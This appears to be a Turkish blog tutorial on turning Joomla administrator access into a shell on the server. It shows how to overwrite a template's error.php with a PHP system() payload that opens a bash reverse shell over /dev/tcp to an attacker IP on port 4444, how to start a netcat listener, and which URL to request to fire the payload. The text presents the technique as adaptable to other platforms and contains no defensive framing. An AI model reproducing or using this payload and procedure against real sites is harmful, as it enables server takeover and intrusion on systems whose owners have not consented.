Herkese Merhaba 👋Bugün çok spesifik ve bir o kadar da kritik bir konuyu anlatacağım. Bu öğreneceğiniz tekniği başka platformlara da uyarlayabilirsiniz. Makalemiz Joomla yönetim panelini kullanarak Remote Code Execution zafiyeti ile hedef makineye erişim sağlamak üzerine olacak. Başlayalım…

Administrator Paneline Giriş Sonrası

Bu yazımda administrator paneline girişi anlatmayacağım. Yönetim paneline erişim sağlandıktan sonraki kısımları anlatacağım.

None
Main Dashboard

Dashboard ekranı bu şekilde. Sürüm farklarından dolayı sömüreceğimiz Site Templates başka yerlerde olabilir. Kısa bir Google araması ile yerini bulabilirsiniz.

Joomla 4.2.7 sürümünde sol taraftaki panelde bulunun System sekmesine gitmemiz gerekiyor.

None
System Dashboard

Burada çeşitli sekmeler önümüze geliyor. Bizi ilgilendiren Kısım Templates sekmesi altında bulunuyor.

None
Site Templates

Bu kısıma tıklıyoruz.

None
Templates paneli

Karşımıza sitede kullanılan templates kısmı geliyor. Burada bu kullanılan dosyasının üzerine tıklayarak içeri giriyoruz.

None
Dosyalar

Burada karşımıza bu templates ile ilgili dosyalar geliyor. Bizi ilgilendiren kısım error.php dosyası.

Zafiyetin Sömürülmesi

error.php dosyasına girdiğimizde karşımıza yapılandırma komutları çıkıyor.

None
İçeriği

Burada bu komutları siliyoruz ve bizim için çalıştırmasını istediğimiz komutu yazıyoruz.

None
Payload

Vereceğim payload değerini bu şekilde buraya yazın.

<?php system("/bin/bash -c 'bash -i >& /dev/tcp/<IP_ADRESS>/4444 0>&1'"); ?>

Ve dosyamızı kaydedelim.

None
File Saved

Şimdi kendi makinemizde dinleme modunu açalım ki karşıdaki makine bize gelebilsin.

None
nc
nc -lvnp 4444

Şimdi yapmamız gereken şey error.php dosyasını tetiklemek.

None
endpoint

Dosyası düzenlerken error.php dosyasının endpoint değerini burada görmüştük.

Herşey hazırsa artık son aşamaya geldik.

Tarayıcımızdan gerekli endpoint değerine gidelim.

http://site_adresi/templates/cassiopeia/error.php

None
shell erişimi tamamlandı

Tebrikler! Artık karşı makinede erişim sağladınız. Bundan sonra yapabilecekleriniz sizin yeteneğinize ve bilgi birikinize kalmış.

Bir sonraki yazıda görüşmek üzere.

Güçlü ve Onurlu kalın…